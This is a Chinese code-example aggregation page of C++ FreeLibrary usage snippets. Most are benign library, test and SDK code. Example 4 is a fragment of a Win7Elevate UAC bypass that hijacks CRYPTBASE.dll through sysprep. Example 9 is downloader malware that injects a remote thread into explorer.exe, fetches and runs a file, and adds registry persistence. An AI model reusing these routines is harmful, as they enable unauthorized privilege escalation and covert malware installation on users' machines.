本文整理汇总了C++中FreeLibrary函数的典型用法代码示例。如果您正苦于以下问题:C++ FreeLibrary函数的具体用法?C++ FreeLibrary怎么用?C++ FreeLibrary使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了FreeLibrary函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的C++代码示例。
示例1: ll_unloadlib
static void ll_unloadlib (void *lib) {
FreeLibrary((HINSTANCE)lib);
}
示例2: WndAdminProc
extern "C" LONG ALMCALLBACK WndAdminProc(
OBJECTID oiWindow,
AObjMessage* theSystem)
{
WINDOW* wnd;
LONG rVal = A_NOTHANDLED;
switch(theSystem->message1)
{
case AOBJ_AWAKENED:
#ifdef AW_I_DEBUG
g_nLayoutUseCount++;
if (!g_hinstLayout)
{
I_ASSERT(g_nLayoutUseCount==1);
g_hinstLayout = LoadLibrary("ALM_WLAY.DLL");
ADBG_PRINT_I("Preloading Layout Editor");
}
#endif
rVal = A_OK;
break;
case AOBJ_CREATED:
#ifdef AW_I_DEBUG
g_nLayoutUseCount++;
if (!g_hinstLayout)
{
I_ASSERT(g_nLayoutUseCount==1);
g_hinstLayout = LoadLibrary("ALM_WLAY.DLL");
ADBG_PRINT_I("Preloading Layout Editor");
}
#endif
wnd = new(oiWindow) WINDOW(oiWindow); //The locks the data
delete wnd; //Just unlocks the data -- DOES NOT DELETE THE DATAS!!!
rVal = A_OK;
break;
case AOBJ_DESTROYED:
case AOBJ_ASLEEP:
#ifdef AW_I_DEBUG
g_nLayoutUseCount--;
if(g_nLayoutUseCount==0)
{
FreeLibrary(g_hinstLayout);
g_hinstLayout = NULL;
g_lpfnEditWnd = NULL;
g_lpfnItemFromUID = NULL;
ADBG_PRINT_I("Unloading Layout Editor");
}
#endif
rVal = A_CONTINUE;
break;
case AOBJ_ASSIGNOBJECT:
//Assignment of a window object is not yet defined
break;
case AOBJ_PREWRITE:
if (theSystem->message4 != /*AOBJ_PROJECTSAVE*/2)
{
wnd = LockWindowData(oiWindow);
I_VERIFY_POINTER(wnd, break);
if(wnd->PutItemsIntoDatas())
rVal = A_CONTINUE;
else
rVal = A_NOTHANDLED;
UnlockWindowData(oiWindow);
}
else
示例3: main
int __cdecl main(int argc, char *argv[])
{
int err;
HMODULE hModule;
SIMPLEFUNCTION procAddressByName;
#if WIN32
const char *FunctionName = "[email protected]";
#else
const char *FunctionName = "SimpleFunction";
#endif
/* Initialize the PAL environment. */
if(0 != PAL_Initialize(argc, argv))
{
return FAIL;
}
/* load a module */
hModule = LoadLibrary(lpModuleName);
if(!hModule)
{
Fail("Unexpected error: "
"LoadLibrary(%s) failed.\n",
lpModuleName);
}
/*
* Test 1
*
* Get the address of a function
*/
procAddressByName = (SIMPLEFUNCTION) GetProcAddress(hModule,FunctionName);
if(!procAddressByName)
{
Trace("ERROR: Unable to get address of SimpleFunction by its name. "
"GetProcAddress returned NULL with error %d\n",
GetLastError());
/* Cleanup */
err = FreeLibrary(hModule);
if(0 == err)
{
Fail("Unexpected error: Failed to FreeLibrary %s\n",
lpModuleName);
}
Fail("");
}
/* Call the function to see that it really worked */
/* Simple function adds 1 to the argument passed */
if( 2 != ((procAddressByName)(1)))
{
Trace("ERROR: Problem calling the function by its address.\n");
/* Cleanup */
err = FreeLibrary(hModule);
if(0 == err)
{
Fail("Unexpected error: Failed to FreeLibrary %s\n",
lpModuleName);
}
Fail("");
}
/* Cleanup */
err = FreeLibrary(hModule);
if(0 == err)
{
Fail("Unexpected error: Failed to FreeLibrary %s\n",
lpModuleName);
}
PAL_Terminate();
return PASS;
}
示例4: DWORD
void W7EInject::AttemptOperation(HWND hWnd, bool bInject, bool bElevate, DWORD dwPid, const wchar_t *szProcName,
const wchar_t *szCmd, const wchar_t *szArgs, const wchar_t *szDir,
const wchar_t *szPathToOurDll,
DWORD (__stdcall *Redirector)(void))
{
bool bThreadWaitSuccess = false;
bool bThreadWaitFailure = false;
HANDLE hTargetProc = NULL;
const BYTE * codeStartAdr = reinterpret_cast< const BYTE * >( &RemoteCodeFunc );
const BYTE * codeEndAdr = reinterpret_cast< const BYTE * >( &DummyRemoteCodeFuncEnd );
if (codeStartAdr >= codeEndAdr)
{
//MessageBox(hWnd, L"Unexpected function layout", L"Win7Elevate", MB_OK | MB_ICONWARNING);
CLogger::LogLine(L"Unexpected function layout");
return;
}
wchar_t szPathToSelf[MAX_PATH];
DWORD dwGMFNRes = GetModuleFileName(NULL, szPathToSelf, _countof(szPathToSelf));
if (dwGMFNRes == 0 || dwGMFNRes >= _countof(szPathToSelf))
{
//MessageBox(hWnd, L"Couldn't get path to self", L"Win7Elevate", MB_OK | MB_ICONWARNING);
CLogger::LogLine(L"Couldn't get path to self");
return;
}
wchar_t szProgramFiles[MAX_PATH];
HRESULT hr = SHGetFolderPath(NULL, CSIDL_PROGRAM_FILES, NULL, SHGFP_TYPE_CURRENT, szProgramFiles);
if (S_OK != hr)
{
//MessageBox(hWnd, L"SHGetFolderPath failed", L"Win7Elevate", MB_OK | MB_ICONWARNING);
CLogger::LogLine(L"SHGetFolderPath failed");
return;
}
HMODULE hModKernel32 = LoadLibrary(L"kernel32.dll");
if (hModKernel32 == 0)
{
//MessageBox(hWnd, L"Couldn't load kernel32.dll", L"Win7Elevate", MB_OK | MB_ICONWARNING);
CLogger::LogLine(L"Couldn't load kernel32.dll");
return;
}
W7EUtils::GetProcAddr< BOOL (WINAPI *)(HMODULE) > tfpFreeLibrary( &GetProcAddress, hModKernel32, "FreeLibrary");
W7EUtils::GetProcAddr< HMODULE (WINAPI *)(LPCWSTR) > tfpLoadLibrary( &GetProcAddress, hModKernel32, "LoadLibraryW");
W7EUtils::GetProcAddr< FARPROC (WINAPI *)(HMODULE, LPCSTR) > tfpGetProcAddress( &GetProcAddress, hModKernel32, "GetProcAddress");
W7EUtils::GetProcAddr< BOOL (WINAPI *)(HANDLE) > tfpCloseHandle( &GetProcAddress, hModKernel32, "CloseHandle");
W7EUtils::GetProcAddr< DWORD (WINAPI *)(HANDLE,DWORD) > tfpWaitForSingleObject( &GetProcAddress, hModKernel32, "WaitForSingleObject");
if (0 == tfpFreeLibrary.f
|| 0 == tfpLoadLibrary.f
|| 0 == tfpGetProcAddress.f
|| 0 == tfpCloseHandle.f
|| 0 == tfpWaitForSingleObject.f)
{
//MessageBox(hWnd, L"Couldn't find API", L"Win7Elevate", MB_OK | MB_ICONWARNING);
CLogger::LogLine(L"Couldn't find API");
}
else
{
// Here we define the target process and DLL for "part 2." This is an auto/silent-elevating process which isn't
// directly below System32 and which loads a DLL which is directly below System32 but isn't on the OS's "Known DLLs" list.
// If we copy our own DLL with the same name to the exe's folder then the exe will load our DLL instead of the real one.
const wchar_t *szElevDir = L"C:\\Windows\\System32\\sysprep";
const wchar_t *szElevDll = L"CRYPTBASE.dll";
const wchar_t *szElevDllFull = L"C:\\Windows\\System32\\sysprep\\CRYPTBASE.dll";
const wchar_t *szElevExeFull = L"C:\\Windows\\System32\\sysprep\\sysprep.exe";
std::wstring strElevArgs = L"\"";
// strElevArgs += szElevExeFull;
// strElevArgs += L"\" \"";
strElevArgs += szCmd;
strElevArgs += L"\" \"";
strElevArgs += szDir;
strElevArgs += L"\" \"";
for (const wchar_t *pCmdArgChar = szArgs; *szArgs; ++szArgs)
{
if (*szArgs != L'\"')
{
strElevArgs += *szArgs;
}
else
{
strElevArgs += L"\"\"\""; // Turn each quote into three to preserve them in the arguments.
}
}
strElevArgs += L"\"";
if (!bInject)
{
// Test code without remoting.
// This should result in a UAC prompt, if UAC is on at all and we haven't been launched as admin.
// Satisfy CreateProcess's non-const args requirement
//.........这里部分代码省略.........
示例5: test_profile_items
static void test_profile_items(void)
{
char path[MAX_PATH], commonprogs[MAX_PATH];
HMODULE hShell32;
BOOL (WINAPI *pSHGetFolderPathA)(HWND hwnd, int nFolder, HANDLE hToken, DWORD dwFlags, LPSTR pszPath);
static const char *inf =
"[Version]\n"
"Signature=\"$Chicago$\"\n"
"[DefaultInstall]\n"
"ProfileItems=TestItem,TestItem2,TestGroup\n"
"[TestItem]\n"
"Name=TestItem\n"
"CmdLine=11,,notepad.exe\n"
"[TestItem2]\n"
"Name=TestItem2\n"
"CmdLine=11,,notepad.exe\n"
"SubDir=TestDir\n"
"[TestGroup]\n"
"Name=TestGroup,4\n"
;
hShell32 = LoadLibraryA("shell32");
pSHGetFolderPathA = (void*)GetProcAddress(hShell32, "SHGetFolderPathA");
if (!pSHGetFolderPathA)
{
win_skip("SHGetFolderPathA is not available\n");
goto cleanup;
}
if (S_OK != pSHGetFolderPathA(NULL, CSIDL_COMMON_PROGRAMS, NULL, SHGFP_TYPE_CURRENT, commonprogs))
{
skip("No common program files directory exists\n");
goto cleanup;
}
create_inf_file(inffile, inf);
sprintf(path, "%s\\%s", CURR_DIR, inffile);
run_cmdline("DefaultInstall", 128, path);
snprintf(path, MAX_PATH, "%s\\TestItem.lnk", commonprogs);
if (INVALID_FILE_ATTRIBUTES == GetFileAttributesA(path))
{
win_skip("ProfileItems not implemented on this system\n");
}
else
{
snprintf(path, MAX_PATH, "%s\\TestDir", commonprogs);
ok(INVALID_FILE_ATTRIBUTES != GetFileAttributesA(path), "directory not created\n");
snprintf(path, MAX_PATH, "%s\\TestDir\\TestItem2.lnk", commonprogs);
ok(INVALID_FILE_ATTRIBUTES != GetFileAttributesA(path), "link not created\n");
snprintf(path, MAX_PATH, "%s\\TestGroup", commonprogs);
ok(INVALID_FILE_ATTRIBUTES != GetFileAttributesA(path), "group not created\n");
}
snprintf(path, MAX_PATH, "%s\\TestItem.lnk", commonprogs);
DeleteFileA(path);
snprintf(path, MAX_PATH, "%s\\TestDir\\TestItem2.lnk", commonprogs);
DeleteFileA(path);
snprintf(path, MAX_PATH, "%s\\TestItem2.lnk", commonprogs);
DeleteFileA(path);
snprintf(path, MAX_PATH, "%s\\TestDir", commonprogs);
RemoveDirectoryA(path);
snprintf(path, MAX_PATH, "%s\\TestGroup", commonprogs);
RemoveDirectoryA(path);
cleanup:
if (hShell32) FreeLibrary(hShell32);
DeleteFileA(inffile);
}
示例6: FreeLibrary
void DllInterface::UnInitialize()
{
FreeLibrary(m_hinst);
m_the_app.DllUnInitialize();
}
示例7: testLoadLibraryEx
//.........这里部分代码省略.........
{
SetLastError(0xdeadbeef);
hmodule = LoadLibraryExA(NULL, hfile, 0);
ok(hmodule == 0, "Expected 0, got %p\n", hmodule);
ok(GetLastError() == ERROR_MOD_NOT_FOUND ||
GetLastError() == ERROR_INVALID_PARAMETER, /* win2k3 */
"Expected ERROR_MOD_NOT_FOUND or ERROR_INVALID_PARAMETER, got %d\n",
GetLastError());
}
CloseHandle(hfile);
/* load empty file */
SetLastError(0xdeadbeef);
hmodule = LoadLibraryExA("testfile.dll", NULL, LOAD_LIBRARY_AS_DATAFILE);
ok(hmodule == 0, "Expected 0, got %p\n", hmodule);
todo_wine
{
ok(GetLastError() == ERROR_FILE_INVALID ||
GetLastError() == ERROR_BAD_FORMAT, /* win9x */
"Expected ERROR_FILE_INVALID or ERROR_BAD_FORMAT, got %d\n",
GetLastError());
}
DeleteFileA("testfile.dll");
GetSystemDirectoryA(path, MAX_PATH);
if (path[lstrlenA(path) - 1] != '\\')
lstrcatA(path, "\\");
lstrcatA(path, "kernel32.dll");
/* load kernel32.dll with an absolute path */
SetLastError(0xdeadbeef);
hmodule = LoadLibraryExA(path, NULL, LOAD_LIBRARY_AS_DATAFILE);
ok(hmodule != 0, "Expected valid module handle\n");
ok(GetLastError() == 0xdeadbeef ||
GetLastError() == ERROR_SUCCESS, /* win9x */
"Expected 0xdeadbeef or ERROR_SUCCESS, got %d\n", GetLastError());
/* try invalid file handle */
SetLastError(0xdeadbeef);
hmodule = LoadLibraryExA(path, (HANDLE)0xdeadbeef, 0);
if (!hmodule) /* succeeds on xp and older */
ok(GetLastError() == ERROR_INVALID_PARAMETER, "wrong error %u\n", GetLastError());
FreeLibrary(hmodule);
/* load kernel32.dll with no path */
SetLastError(0xdeadbeef);
hmodule = LoadLibraryExA("kernel32.dll", NULL, LOAD_LIBRARY_AS_DATAFILE);
ok(hmodule != 0, "Expected valid module handle\n");
ok(GetLastError() == 0xdeadbeef ||
GetLastError() == ERROR_SUCCESS, /* win9x */
"Expected 0xdeadbeef or ERROR_SUCCESS, got %d\n", GetLastError());
FreeLibrary(hmodule);
GetCurrentDirectoryA(MAX_PATH, path);
if (path[lstrlenA(path) - 1] != '\\')
lstrcatA(path, "\\");
lstrcatA(path, "kernel32.dll");
/* load kernel32.dll with an absolute path that does not exist */
SetLastError(0xdeadbeef);
hmodule = LoadLibraryExA(path, NULL, LOAD_LIBRARY_AS_DATAFILE);
todo_wine
{
ok(hmodule == 0, "Expected 0, got %p\n", hmodule);
}
ok(GetLastError() == ERROR_FILE_NOT_FOUND ||
broken(GetLastError() == ERROR_INVALID_HANDLE), /* nt4 */
"Expected ERROR_FILE_NOT_FOUND, got %d\n", GetLastError());
/* Free the loaded dll when it's the first time this dll is loaded
in process - First time should pass, second fail */
SetLastError(0xdeadbeef);
hmodule = LoadLibraryExA("comctl32.dll", NULL, LOAD_LIBRARY_AS_DATAFILE);
ok(hmodule != 0, "Expected valid module handle\n");
SetLastError(0xdeadbeef);
ret = FreeLibrary(hmodule);
ok(ret, "Expected to be able to free the module, failed with %d\n", GetLastError());
SetLastError(0xdeadbeef);
ret = FreeLibrary(hmodule);
ok(!ret, "Unexpected ability to free the module, failed with %d\n", GetLastError());
/* load with full path, name without extension */
GetSystemDirectoryA(path, MAX_PATH);
if (path[lstrlenA(path) - 1] != '\\')
lstrcatA(path, "\\");
lstrcatA(path, "kernel32");
hmodule = LoadLibraryExA(path, NULL, 0);
ok(hmodule != NULL, "got %p\n", hmodule);
FreeLibrary(hmodule);
/* same with alterate search path */
hmodule = LoadLibraryExA(path, NULL, LOAD_WITH_ALTERED_SEARCH_PATH);
ok(hmodule != NULL, "got %p\n", hmodule);
FreeLibrary(hmodule);
}
示例8: DBG_ASSERT
//.........这里部分代码省略.........
if (pFnHostFxrSearchDirectories == NULL)
{
// Host fxr version is incorrect (need a higher version).
// TODO log error
hr = E_FAIL;
goto Finished;
}
if (FAILED(hr = struNativeSearchPaths.Resize(dwBufferSize)))
{
goto Finished;
}
while (TRUE)
{
intHostFxrExitCode = pFnHostFxrSearchDirectories(
m_pConfiguration->QueryHostFxrArgCount(),
m_pConfiguration->QueryHostFxrArguments(),
struNativeSearchPaths.QueryStr(),
dwBufferSize,
&dwRequiredBufferSize
);
if (intHostFxrExitCode == 0)
{
break;
}
else if (dwRequiredBufferSize > dwBufferSize)
{
dwBufferSize = dwRequiredBufferSize + 1; // for null terminator
if (FAILED(hr = struNativeSearchPaths.Resize(dwBufferSize)))
{
goto Finished;
}
}
else
{
hr = E_FAIL;
// Log "Error finding native search directories from aspnetcore application.
goto Finished;
}
}
if (FAILED(hr = struNativeSearchPaths.SyncWithBuffer()))
{
goto Finished;
}
fFound = FALSE;
// The native search directories are semicolon delimited.
// Split on semicolons, append aspnetcorerh.dll, and check if the file exists.
while ((intIndex = struNativeSearchPaths.IndexOf(L";", intPrevIndex)) != -1)
{
if (FAILED(hr = struNativeDllLocation.Copy(&struNativeSearchPaths.QueryStr()[intPrevIndex], intIndex - intPrevIndex)))
{
goto Finished;
}
if (!struNativeDllLocation.EndsWith(L"\\"))
{
if (FAILED(hr = struNativeDllLocation.Append(L"\\")))
{
goto Finished;
}
}
if (FAILED(hr = struNativeDllLocation.Append(g_pwzAspnetcoreRequestHandlerName)))
{
goto Finished;
}
if (UTILITY::CheckIfFileExists(struNativeDllLocation.QueryStr()))
{
if (FAILED(hr = struFilename->Copy(struNativeDllLocation)))
{
goto Finished;
}
fFound = TRUE;
break;
}
intPrevIndex = intIndex + 1;
}
if (!fFound)
{
hr = E_FAIL;
goto Finished;
}
Finished:
if (FAILED(hr) && hmHostFxrDll != NULL)
{
FreeLibrary(hmHostFxrDll);
}
return hr;
}
示例9: main
//.........这里部分代码省略.........
{
fRegSetValueEx(hKey,"sdown",0,REG_SZ,windir,sizeof(windir));
fRegCloseKey(hKey);
}
//if dowloaded val is 1 than exit
//becose when sd0wn download file, it writes at regkey + Downloaded val "1"
if(fRegOpenKeyEx(HKEY_CURRENT_USER,regkey,0,KEY_ALL_ACCESS,&hOpenkey)==ERROR_SUCCESS)
{
if(fRegQueryValueEx(hOpenkey,"downloaded",0,0,(unsigned char*)isdwnd,&issize)==ERROR_SUCCESS)
if(!lstrcmp(isdwnd,"1"))
return 1;
}
//cactulate ThreadProc size
dwThrSize = (DWORD)end - (DWORD)ThreadProc;
//Explorer.exe's handle
if((window = fFindWindow(crypt("qkaijX|{kr{cj"),0)) == NULL)
return 1;
//Get Explorer's pid
fGetWindowId(window,&pid);
//The GetCurrentProcess function returns a pseudohandle
//for the current process.(MSDN)
hCurrentProc = fGetCurrentProc();
if (fOpenProcToken(hCurrentProc,TOKEN_QUERY|TOKEN_ADJUST_PRIVILEGES,&hToken))
if(!RaisePrivleges(hToken,(char*)SE_DEBUG_NAME));
//printf("Some Error");
if(hToken)CloseHandle(hToken);
//open the process so we can modify it
if((hProcess = fOpenProcess(PROCESS_ALL_ACCESS,FALSE,pid)) == NULL)
return 1;
//allocate free space in the process
if((pRemoteThread = fVirtualAllocEx(hProcess,0,(SIZE_T)dwThrSize,
MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE)) == NULL)
return 1;
//Write our ThreadProc in that allocated space
if(fWriteProcessMem(hProcess,pRemoteThread,&ThreadProc,dwThrSize,0) == 0)
return 1;
//Clean InjL
fZeroMemory(&InjL,sizeof(InjS));
//Fill Inj struct
//Inj.dwApi = (DWORD)Address of Api function
InjL.dwCreateMutex = (DWORD)fCreateMutex;
InjL.dwGetLastError = (DWORD)fGetLastError;
InjL.dwExitThread = (DWORD)fExitThread;
InjL.dwVirtualFreeEx = (DWORD)fVirtualFreeEx;
InjL.dwICheckConn = (DWORD)fInetCheckConn;
InjL.dwSleep = (DWORD)fSleep;
InjL.dwInternetOpen = (DWORD)fInternetOpen;
InjL.dwInternetOpenUrl = (DWORD)fInternetOpenUrl;
InjL.dwCreateFile = (DWORD)fCreateFile;
InjL.dwInternetReadFile = (DWORD)fInternetReadFile;
InjL.dwWriteFile = (DWORD)fWriteFile;
InjL.dwShellExecute = (DWORD)fShellExecute;
InjL.dwCloseHandle = (DWORD)fCloseHandle;
InjL.dwInternetCloseH = (DWORD)fInternetCloseH;
InjL.dwRegCreateKey = (DWORD)fRegCreateKey;
InjL.dwRegSetValueEx = (DWORD)fRegSetValueEx;
InjL.dwRegCloseKey = (DWORD)fRegCloseKey;
//sleep time
InjL.stime = sleeptime;
//copy data that we need in struct
lstrcpy(InjL.site ,checksite);
lstrcpy(InjL.downsite ,downfile );
lstrcpy(InjL.spath ,savepath );
lstrcpy(InjL.mtx ,mtxname );
lstrcpy(InjL.regpath ,regkey );
lstrcpy(InjL.downloaded,"downloaded");
lstrcpy(InjL.ss ,"1");
//InjL.ss[0] = '1';
//InjL.ss[1] = '\0';
//allocate free space for our struct
if((pInjL =(InjS *)fVirtualAllocEx(hProcess,0,sizeof(InjS),MEM_COMMIT,PAGE_READWRITE)) == NULL)
return 1;
//Write our struct in that allocated space
if((fWriteProcessMem(hProcess,pInjL,&InjL,sizeof(InjL),0)) == 0)
return 1;
//run injected function + our struct as argument
if((fCreateRemoteThr(hProcess,0,0,(DWORD(__stdcall *)(void *))pRemoteThread,pInjL,0,&dwThreadId)) == NULL)
return 1;
//Free Libraries
FreeLibrary(shell32);
FreeLibrary(wininet);
FreeLibrary(advapi32);
FreeLibrary(user32);
FreeLibrary(kernel32);
//CloseHandle :)
CloseHandle(hProcess);
return 0;
}
示例10: logstream
//.........这里部分代码省略.........
else return "LoadLibrary failed due to an unknown error";
#endif
}
/**************************************************************************/
/* */
/* Function Registration */
/* */
/**************************************************************************/
// get the registration symbols
std::vector<std::string> toolkit_function_reg_names
{"get_toolkit_function_registration",
"_Z33get_toolkit_function_registrationv",
"__Z33get_toolkit_function_registrationv"};
get_toolkit_function_registration_type get_toolkit_function_registration = nullptr;
for (auto reg_name : toolkit_function_reg_names) {
get_toolkit_function_registration =
reinterpret_cast<get_toolkit_function_registration_type>
(
#ifndef _WIN32
dlsym(dl, reg_name.c_str())
#else
(void *)GetProcAddress((HMODULE)dl, reg_name.c_str())
#endif
);
if (get_toolkit_function_registration != nullptr) break;
}
// register functions
if (get_toolkit_function_registration) {
auto functions = (*get_toolkit_function_registration)();
for (auto& fn: functions) {
if (!regentry.modulename.empty()) {
fn.name = regentry.modulename + "." + fn.name;
}
fn.description["file"] = regentry.original_soname;
logstream(LOG_INFO) << "Adding function: " << fn.name << std::endl;
regentry.functions.push_back(fn.name);
}
toolkit_functions->register_toolkit_function(functions);
}
/**************************************************************************/
/* */
/* Class Registration */
/* */
/**************************************************************************/
std::vector<std::string> toolkit_class_reg_names
{"get_toolkit_class_registration",
"_Z30get_toolkit_class_registrationv",
"__Z30get_toolkit_class_registrationv"};
get_toolkit_class_registration_type get_toolkit_class_registration = nullptr;
for (auto reg_name : toolkit_class_reg_names) {
get_toolkit_class_registration =
reinterpret_cast<get_toolkit_class_registration_type>
(
#ifndef _WIN32
dlsym(dl, reg_name.c_str())
#else
(void *)GetProcAddress((HMODULE)dl, reg_name.c_str())
#endif
);
if (get_toolkit_class_registration != nullptr) break;
}
// register classes
if (get_toolkit_class_registration) {
auto class_reg = (*get_toolkit_class_registration)();
for (auto& cl: class_reg) {
if (!regentry.modulename.empty()) {
cl.name = regentry.modulename + "." + cl.name;
}
cl.description["file"] = regentry.original_soname;
logstream(LOG_INFO) << "Adding class : " << cl.name << std::endl;
regentry.functions.push_back(cl.name);
}
classes->register_toolkit_class(class_reg);
}
if (regentry.functions.empty() && regentry.classes.empty()) {
// nothing has been registered! unload the dl
#ifndef _WIN32
dlclose(dl);
#else
FreeLibrary((HMODULE)dl);
#endif
return "No functions or classes registered by " + sanitize_url(soname);
}
// note that it is possible to load a toolkit multiple times.
// It is not safe to unload previously loaded toolkits since I may have
// a reference to it (for instance a class). We just keep loading over
// and hope for the best.
// store and remember the dlhandle and what was registered;
dynamic_loaded_toolkits[regentry.original_soname] = regentry;
return std::string();
}
示例11: WIN_CreateDevice
static SDL_VideoDevice *
WIN_CreateDevice(int devindex)
{
SDL_VideoDevice *device;
SDL_VideoData *data;
SDL_RegisterApp(NULL, 0, NULL);
/* Initialize all variables that we clean on shutdown */
device = (SDL_VideoDevice *) SDL_calloc(1, sizeof(SDL_VideoDevice));
if (device) {
data = (struct SDL_VideoData *) SDL_calloc(1, sizeof(SDL_VideoData));
}
if (!device || !data) {
SDL_OutOfMemory();
if (device) {
SDL_free(device);
}
return NULL;
}
device->driverdata = data;
#if SDL_VIDEO_RENDER_D3D
data->d3dDLL = LoadLibrary(TEXT("D3D9.DLL"));
if (data->d3dDLL) {
IDirect3D9 *(WINAPI * D3DCreate) (UINT SDKVersion);
D3DCreate =
(IDirect3D9 * (WINAPI *) (UINT)) GetProcAddress(data->d3dDLL,
"Direct3DCreate9");
if (D3DCreate) {
data->d3d = D3DCreate(D3D_SDK_VERSION);
}
if (!data->d3d) {
FreeLibrary(data->d3dDLL);
data->d3dDLL = NULL;
}
}
#endif /* SDL_VIDEO_RENDER_D3D */
data->wintabDLL = LoadLibrary(TEXT("WINTAB32.DLL"));
if (data->wintabDLL) {
#define PROCNAME(X) #X
data->WTInfoA =
(UINT(*)(UINT, UINT, LPVOID)) GetProcAddress(data->wintabDLL,
PROCNAME(WTInfoA));
data->WTOpenA =
(HCTX(*)(HWND, LPLOGCONTEXTA, BOOL)) GetProcAddress(data->
wintabDLL,
PROCNAME
(WTOpenA));
data->WTPacket =
(int (*)(HCTX, UINT, LPVOID)) GetProcAddress(data->wintabDLL,
PROCNAME(WTPacket));
data->WTClose =
(BOOL(*)(HCTX)) GetProcAddress(data->wintabDLL,
PROCNAME(WTClose));
#undef PROCNAME
if (!data->WTInfoA || !data->WTOpenA || !data->WTPacket
|| !data->WTClose) {
FreeLibrary(data->wintabDLL);
data->wintabDLL = NULL;
}
}
/* Set the function pointers */
device->VideoInit = WIN_VideoInit;
device->VideoQuit = WIN_VideoQuit;
device->GetDisplayModes = WIN_GetDisplayModes;
device->SetDisplayMode = WIN_SetDisplayMode;
device->SetDisplayGammaRamp = WIN_SetDisplayGammaRamp;
device->GetDisplayGammaRamp = WIN_GetDisplayGammaRamp;
device->PumpEvents = WIN_PumpEvents;
#undef CreateWindow
device->CreateWindow = WIN_CreateWindow;
device->CreateWindowFrom = WIN_CreateWindowFrom;
device->SetWindowTitle = WIN_SetWindowTitle;
device->SetWindowIcon = WIN_SetWindowIcon;
device->SetWindowPosition = WIN_SetWindowPosition;
device->SetWindowSize = WIN_SetWindowSize;
device->ShowWindow = WIN_ShowWindow;
device->HideWindow = WIN_HideWindow;
device->RaiseWindow = WIN_RaiseWindow;
device->MaximizeWindow = WIN_MaximizeWindow;
device->MinimizeWindow = WIN_MinimizeWindow;
device->RestoreWindow = WIN_RestoreWindow;
device->SetWindowGrab = WIN_SetWindowGrab;
device->DestroyWindow = WIN_DestroyWindow;
device->GetWindowWMInfo = WIN_GetWindowWMInfo;
#ifdef SDL_VIDEO_OPENGL_WGL
device->GL_LoadLibrary = WIN_GL_LoadLibrary;
device->GL_GetProcAddress = WIN_GL_GetProcAddress;
device->GL_UnloadLibrary = WIN_GL_UnloadLibrary;
device->GL_CreateContext = WIN_GL_CreateContext;
device->GL_MakeCurrent = WIN_GL_MakeCurrent;
device->GL_SetSwapInterval = WIN_GL_SetSwapInterval;
device->GL_GetSwapInterval = WIN_GL_GetSwapInterval;
device->GL_SwapWindow = WIN_GL_SwapWindow;
//.........这里部分代码省略.........
示例12: run_handler
//.........这里部分代码省略.........
si.wShowWindow = einfo->nShow;
logtofilew (logfile, L"Using nShow == %d\n", si.wShowWindow);
}
if (einfo->fMask & SEE_MASK_NO_CONSOLE)
{
logtofilew (logfile, L"We will create new console and will not inherit in/out/err handles\n");
}
else
{
logtofilew (logfile, L"We will not create new console, child process will inherit in/out/err handles\n");
si.dwFlags |= STARTF_USESTDHANDLES;
si.hStdInput = GetStdHandle (STD_INPUT_HANDLE);
si.hStdOutput = GetStdHandle (STD_OUTPUT_HANDLE);
si.hStdError = GetStdHandle (STD_ERROR_HANDLE);
}
if (fix_redir && iam32on64 ())
{
kernel32 = LoadLibraryW (L"kernel32.dll");
if (kernel32 != NULL)
{
disablewow64 = (Wow64DisableWow64FsRedirectionFunction) GetProcAddress (kernel32, "Wow64DisableWow64FsRedirection");
revertwow64 = (Wow64RevertWow64FsRedirectionFunction) GetProcAddress (kernel32, "Wow64RevertWow64FsRedirection");
if (disablewow64 == NULL || revertwow64 == NULL)
fix_redir = 0;
else
fix_redir = disablewow64 (&redir);
}
else
fix_redir = 0;
}
else
fix_redir = 0;
ret = CreateProcessW (newargv[0], exp_data, NULL, NULL, TRUE, einfo->fMask & SEE_MASK_NO_CONSOLE ? CREATE_NEW_CONSOLE : 0, NULL, lpdir, &si, &pi);
err = GetLastError();
if (fix_redir != 0)
revertwow64 (redir);
if (kernel32 != NULL)
FreeLibrary (kernel32);
if (ret != 0)
{
logtofilew (logfile, L"CreateProcessW() succeeded\n");
ret = 0;
if (executable)
{
logtofilew (logfile, L"Waiting until executable process terminates...\n");
WaitForSingleObject (pi.hProcess, INFINITE);
logtofilew (logfile, L"Finished waiting until executable process terminates\n");
}
else
{
if (einfo->fMask & SEE_MASK_NOCLOSEPROCESS)
{
einfo->hProcess = pi.hProcess;
logtofilew (logfile, L"Will return process handle %08X\n", pi.hProcess);
}
if (einfo->fMask & SEE_MASK_WAITFORINPUTIDLE)
{
logtofilew (logfile, L"Waiting until non-executable process' input idles...\n");
WaitForInputIdle (pi.hProcess, 60*1000);
logtofilew (logfile, L"Finished waiting until non-executable process' input idles\n");
}
}
einfo->hInstApp = (HINSTANCE) 33;
}
else
{
logtofilew (logfile, L"CreateProcessW() have failed with %d\n", err);
switch (err)
{
case ERROR_FILE_NOT_FOUND:
einfo->hInstApp = (HINSTANCE) SE_ERR_FNF;
break;
case ERROR_PATH_NOT_FOUND:
einfo->hInstApp = (HINSTANCE) SE_ERR_PNF;
break;
case ERROR_ACCESS_DENIED:
einfo->hInstApp = (HINSTANCE) SE_ERR_ACCESSDENIED;
break;
case ERROR_NOT_ENOUGH_MEMORY:
einfo->hInstApp = (HINSTANCE) SE_ERR_OOM;
break;
default:
einfo->hInstApp = (HINSTANCE) 33;
}
ret = 1;
}
logtofilew (logfile, L"hInstApp is set to %d\n", einfo->hInstApp);
free (exp_data);
if (dupdata != NULL)
free (dupdata);
if (newargv != NULL)
free (newargv);
logtofilew (logfile, L"<run_handler %d\n", ret);
return ret;
}
示例13: Wname
/**
* \fn int CEnvironment::win32_setenv(const std::wstring &name, const std::wstring &value = L"",
* updateAction action = autoDetect)
* \brief Internal function used to manipulate with environment variables on win32.
*
* This function make all dirty work with setting, deleting and modifying environment variables.
*
* \param name The environment variable name.
* \param value (optional) the new value of environment variable.
* \param action (optional) the action.
* \return Zero on success, 2 if at least one external runtime update failed, 4 if process
* environment update failed, 8 if our runtime environment update failed or, in case of
* several errors, sum of all errors values; non-zero in case of other errors.
*/
int CEnvironment::win32_setenv(const std::string &name, const std::string &value /* = "" */, enum updateAction action /* = autoDetect */)
{
std::wstring Wname (win32ConvertUtf8ToW(name));
if (Wname.empty() || name.find('=') != std::wstring::npos)
return -1;
if ( (action == addOnly || action == addOrUpdateOnly) && value.empty() )
return -1;
